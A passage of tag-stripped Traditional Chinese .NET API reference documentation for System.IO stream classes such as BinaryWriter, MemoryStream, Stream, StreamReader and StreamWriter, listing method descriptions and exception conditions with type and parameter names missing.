寫入資料流，並支援以特定編碼方式寫入字串。 + 2 + + + 初始化 類別的新執行個體，其將寫入資料流。 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 資料流不支援寫入，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和字元編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 要使用的字元編碼。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 根據指定的資料流和特定的字元編碼方式，初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 輸出資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 取得 的基礎資料流。 + 與 BinaryWriter 相關聯的基礎資料流。 + 1 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 指定沒有備份存放區的 。 + 1 + + + 容納基礎資料流。 + + + 設定目前資料流位置。 + 目前資料流的位置。 + 相對於 的位元組位移。 + + 的欄位，表示要取得新位置的參考點。 + 檔案指標已移至無效的位置。 + + 值是無效的。 + 1 + + + 寫入一位元組的 Boolean 值至目前資料流，其中 0 表示 false，1 表示 true。 + 要寫入的 Boolean 值 (0 或 1)。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將不帶正負號 (Unsigned) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的不帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將位元組陣列寫入基礎資料流。 + 含有要寫入之資料的位元組陣列。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為 null。 + 1 + + + 將一個區域的位元組陣列寫入目前資料流。 + 含有要寫入之資料的位元組陣列。 + + 中要開始寫入的起始點。 + 要寫入的位元組數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將 Unicode 字元寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 非 Surrogate，要寫入的 Unicode 字元。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 是單一 Surrogate 字元。 + 1 + + + 將字元陣列寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 為 null。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列中的一區段寫入至目前的資料流，並按照所使用的 Encoding 和可能為寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 中要開始寫入的起始點。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將十進位值寫入目前的資料流，並將資料流位置往前移十六個位元組。 + 要寫入的十進位值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組浮點數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將二位元組帶正負號的整數 (Signed Integer) 寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將帶正負號 (Signed) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組浮點數 (Floating-Point) 值寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將有長度前置字元的字串以目前 的編碼方式寫入此資料流，並按照所使用的編碼方式和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 要寫入的值。 + 發生 I/O 錯誤。 + + 為 null。 + 已關閉資料流。 + 1 + + + 將二位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組不帶正負號的整數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組不帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 以壓縮格式寫入 32 位元整數。 + 要寫入的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 已關閉資料流。 + + + 嘗試超過資料流末端進行讀取時所擲回的例外狀況。 + 2 + + + 將其訊息字串設定為系統提供的訊息且將其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + + + 使用其訊息字串設定為 和其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + + + 使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 資料流在格式無效時擲回的例外狀況。 + + + 初始化 類別的新執行個體。 + + + 使用指定的錯誤訊息，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + + + 使用造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 建立支援的存放區為記憶體的資料流。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化為零的可擴展容量，初始化 類別的新執行個體。 + + + 根據指定的位元組陣列，初始化 類別之不可調整大小的執行個體。 + 用於建立目前資料流之不帶正負號位元組的陣列。 + + 為 null。 + + + 根據具有指定的 屬性設定之位元組陣列，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + + 根據位元組陣列的指定區域 (索引)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 為 null。 + + 或 小於零。 + 緩衝區長度減去 小於 。 + + + 根據位元組陣列的指定區域 (且該區域使用依指定所設定的 屬性)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 根據指定的位元組陣列區域 (且該區域使用依指定所設定的 屬性和依指定所設定的呼叫 的能力)，來初始化 類別的新執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + 啟用 (傳回從其中建立資料流的不帶正負號的位元組陣列)，則為 true；否則為 false。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 使用初始化為指定的可擴展容量，初始化 類別的新執行個體。 + 內部陣列的初始大小，以位元組為單位。 + + 為負值。 + + + 取得表示目前資料流是否支援讀取的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援搜尋的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援寫入的值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 2 + + + 取得或設定配置給這個資料流的位元組數目。 + 資料流緩衝區可使用部分的長度。 + 設定的容量為負數或小於資料流目前的長度。 + 目前的資料流已經關閉。 + set 在無法修改其容量的資料流上被叫用 (Invoke)。 + 2 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。 + 用來監視是否有取消要求的語彙基元。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 覆寫 方法，以便不執行任何動作。 + 2 + + + 非同步清除這個資料流的所有緩衝區，並監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。 + 已處置資料流。 + + + 取得資料流的長度，以位元組為單位。 + 資料流的長度，以位元組為單位。 + 已關閉資料流。 + 2 + + + 取得或設定資料流中目前的位置。 + 在資料流的目前位置。 + 位置設為負數值或大於 的值。 + 已關閉資料流。 + 2 + + + 從目前的資料流讀取位元組區塊，並且將資料寫入緩衝區。 + 寫入至緩衝區的總位元組數。如果目前無法提供那麼多的位元組數目，則這個數目可能小於所要求的位元組數目，或如果在讀取任何資料之前已經到達資料流末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定位元組陣列，該值是由讀取自目前資料流的字元所取代。 + + 中以零為起始的位元組位移，用來開始儲存讀取自目前資料流的資料。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + 緩衝區的長度減去 小於 。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從目前的資料流讀取位元組。 + 轉型為 的位元組；如果已經到達資料流的末端，則為 -1。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流中的位置設定為指定的數值。 + 資料流中的新位置，是組合初始的參考點和位移計算出來的。 + 資料流中的新位置。這是相對於 參數，並且可能是正數或負數。 + + 類型的值，做為搜尋參考點。 + 在資料流開頭之前嘗試搜尋。 + + 大於 。 + 有無效的 。-或- 造成了算術溢位。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流的長度設定為指定的數值。 + 要設定長度的數值。 + 目前的資料流不是可調整大小的，並且 大於目前的容量。-或- 目前的資料流不支援寫入。 + + 為負，或大於 的最大長度，最大長度是 ( - 原點)，原點是資料流開始的基礎緩衝區索引。 + 2 + + + 不論 屬性為何，將資料流內容寫入位元組陣列。 + 新的位元組陣列。 + 2 + + + 傳回用於建立這個資料流之不帶正負號位元組的陣列。指出轉換是否成功的傳回值。 + 如果轉換成功，則為 true；否則為 false。 + 從其中建立此資料流的位元組陣列區段。 + + + 使用讀取自緩衝區的資料，將位元組區塊寫入至目前的資料流。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入的最大位元組數。 + + 為 null。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 和 位元組相比，目前的位置更接近資料流末端，並且容量無法修改。 + 緩衝區的長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入位元組至資料流目前位置。 + 要寫入的位元組。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 目前的位置在資料流結尾，並且無法修改容量。 + 目前的資料流已經關閉。 + 2 + + + 將這個記憶體資料流的整個內容寫入另一個資料流。 + 要寫入這個記憶體資料流的資料流。 + + 為 null。 + 目前的資料流或目標資料流已經關閉。 + 2 + + + 指定資料流中要用於搜尋的位置。 + 2 + + + 指定資料流的開端。 + + + 指定資料流中的目前位置。 + + + 指定資料流的末端。 + + + 提供位元組順序的一般觀點。這是 abstract 類別。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 類別的新執行個體。 + + + 在衍生類別中覆寫時，取得指示目前的資料流是否支援讀取的數值。 + 如果資料流支援讀取，則為 true；否則為 false。 + 1 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援搜尋的數值。 + 如果資料流支援搜尋，則為 true；否則為 false。 + 1 + + + 取得值，該值判斷目前的資料流是否可以逾時。 + 值，判斷目前的資料流是否可以逾時。 + 2 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援寫入的數值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 1 + + + 從目前資料流讀取位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 使用指定的緩衝區大小，從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 所使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫時，會清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 發生 I/O 錯誤。 + 2 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 已處置資料流。 + + + 以非同步的方式清除這個資料流的所有緩衝區，造成任何緩衝資料都寫入基礎裝置，並且監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + 已處置資料流。 + + + 在衍生類別中覆寫時，取得資料流的長度 (以位元組為單位)。 + 代表資料流長度的長數值 (以位元組為單位)。 + 衍生自 Stream 的類別不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 沒有底層存放區的 Stream。 + 1 + + + 在衍生類別中覆寫時，取得或設定在目前資料流的位置。 + 在資料流的目前位置。 + 發生 I/O 錯誤。 + 資料流不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 當在衍生類別中覆寫時，自目前資料流讀取一連串的位元組，並依所讀取的位元組數目進階資料流中的位置。 + 緩衝區所讀取的總位元組數。如果目前無法取得足夠的位元組，則這個數目可能小於所要求的位元組數，如果已經到達資料流末端，則為零 (0)。 + 位元組陣列。當這個方法返回時，緩衝區會包含具有介於 和 ( + - 1) 值的指定位元組陣列，由從目前來源讀取的位元組所取代。 + + 中以零起始的位元組位移，即開始儲存讀取自目前資料流之資料的位置。 + 自目前資料流讀取的最大位元組數。 + + 和 的總和大於緩衝區的長度。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 以非同步的方式從目前的資料流讀取位元組序列，並依讀取的位元組數將資料流中的位置往前移。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從資料流讀取一個位元組，並將資料流的位置推進一個位元組；如果在資料流末端，則傳回 -1。 + 轉型為 Int32 的不帶正負號位元組，如果在資料流末端，則為 -1。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + + 方法必須擲回 。 + 2 + + + 在衍生類別中覆寫時，設定在目前資料流的位置。 + 目前資料流的新位置。 + 相對於 參數的位元組位移。 + + 類型的值，表示用來取得新位置的參考點。 + 發生 I/O 錯誤。 + 資料流不支援搜尋，例如資料流為管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 在衍生類別中覆寫時，設定目前資料流的長度。 + 想要的目前資料流長度 (單位為位元組)。 + 發生 I/O 錯誤。 + 資料流不支援寫入和搜尋，例如，如果資料流是從管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 在衍生類別中覆寫時，將一連串的位元組寫入目前的資料流，並且由這個資料流中目前的位置前移寫入的位元組數目。 + 位元組陣列。此方法會從 複製 位元組到目前資料流。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入目前資料流的位元組數目。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 資料流不支援寫入。 + + 流关闭后调用。 + 1 + + + 以非同步的方式將位元組序列寫入至目前的資料流，並依寫入的位元組數將資料流中目前的位置往前移。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入一個位元組至資料流的目前位置，並將資料流位置推進一個位元組。 + 寫入資料流的位元組。 + 發生 I/O 錯誤。 + 資料流不支援寫入，或資料流已經關閉。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + + 方法必須擲回 。 + 2 + + + 實作以特定的編碼方式自位元組資料流讀取字元的 。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 為指定的資料流，初始化 類別的新執行個體。 + 要讀取的資料流。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的位元組順序標記偵測選項，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的字元編碼，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼和位元組順序標記偵測選項，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼、位元組順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + 最小緩衝區大小。 + 資料流不支援讀取。 + + 或 為 null。 + + 小於或等於零值。 + + + 根據指定的字元編碼、位元順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要讀取的資料流。 + 要使用的字元編碼。 + true 表示在檔案開頭尋找位元順序標記；否則為 false。 + 最小緩衝區大小。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + + 傳回基礎資料流。 + 基礎資料流。 + 2 + + + 取得目前 物件使用的目前字元編碼。 + 目前讀取器所使用的字元編碼。在第一次呼叫 的任何 方法之後其值可能不同，因為編碼方式的自動偵測要等到第一次呼叫 方法後才完成。 + 2 + + + 清除內部緩衝區。 + 2 + + + 關閉基礎資料流，接著釋放 所使用的 Unmanaged 資源，然後再選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得表示現行資料流位置是否在資料流結尾的值。 + 如果現行資料流位置在資料流的結尾，則為 true；否則為 false。 + 已處置基礎資料流。 + 1 + + + 空資料流周圍的 物件。 + 1 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有要讀取的字元或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 1 + + + 自輸入資料流讀取下一個字元，並將字元位置前移一個字元。 + 來自輸入資料流的下一個字元會以 物件來表示；如果不再有可以使用的字元，則以 -1 表示。 + 發生 I/O 錯誤。 + 1 + + + 從目前資料流讀取指定的字元數目上限，在指定的索引位置開始讀入緩衝區中。 + 已讀取字元數，或為 0 (如果處於資料流末端而無資料讀取)。數目將小於或等於 參數，取決於資料流內是否有資料可供使用。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + 要開始寫入的 的索引。 + 要讀取的字元數上限。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤，例如資料流已經關閉。 + 1 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前資料流讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則方法會返回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前資料流讀取一行字元，並將資料以字串傳回。 + 輸入資料流的下一行，或為 null (如果已到達輸入資料流末端)。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 自目前資料流非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含資料流中的下一行，或者是 null (如果已經讀取所有字元)。 + 下一行中的字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到資料流末端的所有字元。 + 資料流從目前位置到末端的其餘字串。如果目前位置位於資料流末端，則傳回空字串 ("")。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 非同步讀取從目前位置到資料流末端的所有字元，並將它們以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含字串，該字串含有從目前位置到資料流結尾的字元。 + 字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 實作以特定的編碼方式將字元寫入位元組資料流的 。若要瀏覽此類型的.NET Framework 原始碼，請參閱參考來源。 + 1 + + + 使用 UTF-8 編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + + 不可寫入。 + + 為 null。 + + + 使用指定的編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + + 或 是 null。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 取得或設定值，指出 在每次呼叫 之後，是否要將其緩衝區清除到基礎資料流。 + 強制 清除其緩衝區，則為 true，否則為 false。 + 1 + + + 取得以備份存放區作介面的基礎資料流。 + StreamWriter 正在寫入的資料流。 + 2 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + + + 取得寫入輸出的 。 + + (在目前執行個體的建構函式中指定)；如果未指定編碼方式，則為 。 + 2 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並且造成所有緩衝資料都寫入基礎資料流。 + 目前寫入器已關閉。 